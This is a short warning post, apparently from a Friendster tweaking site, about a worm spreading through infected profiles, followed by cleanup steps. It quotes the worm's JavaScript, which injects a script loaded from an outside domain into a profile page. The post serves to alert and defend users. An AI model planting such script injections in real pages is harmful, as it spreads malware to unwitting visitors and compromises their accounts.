Beware, Worm in Friendster!
Lately we found a kind of worm, spreading on Friendster. Friendster-Tweakers.com is not the creator of this worm and not connected to it in any way.
The infected profile will generate unwanted pop-up, and after viewing it your profile might get infected too!
Please check your media box. This is how the malicious code looks like:
httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
scr = parent.document.createElement("script");
scr.setAttribute("type", "text/javascript");
scr.setAttribute("id", "scruotttt");
scr.setAttribute("src","http://bichirpolypterusgreen319.info/blah.js");
parent.document.getElementsByTagName("head")[0].appendChild(scr);
- My profile is infected! How to fix it?
1. Delete all the codes in your media section.
2a. For IE: delete temporary internet files.
2b. For Firefox: clear private data.
3. Stop viewing the infected profiles.
Thanks to Markyctrigger.
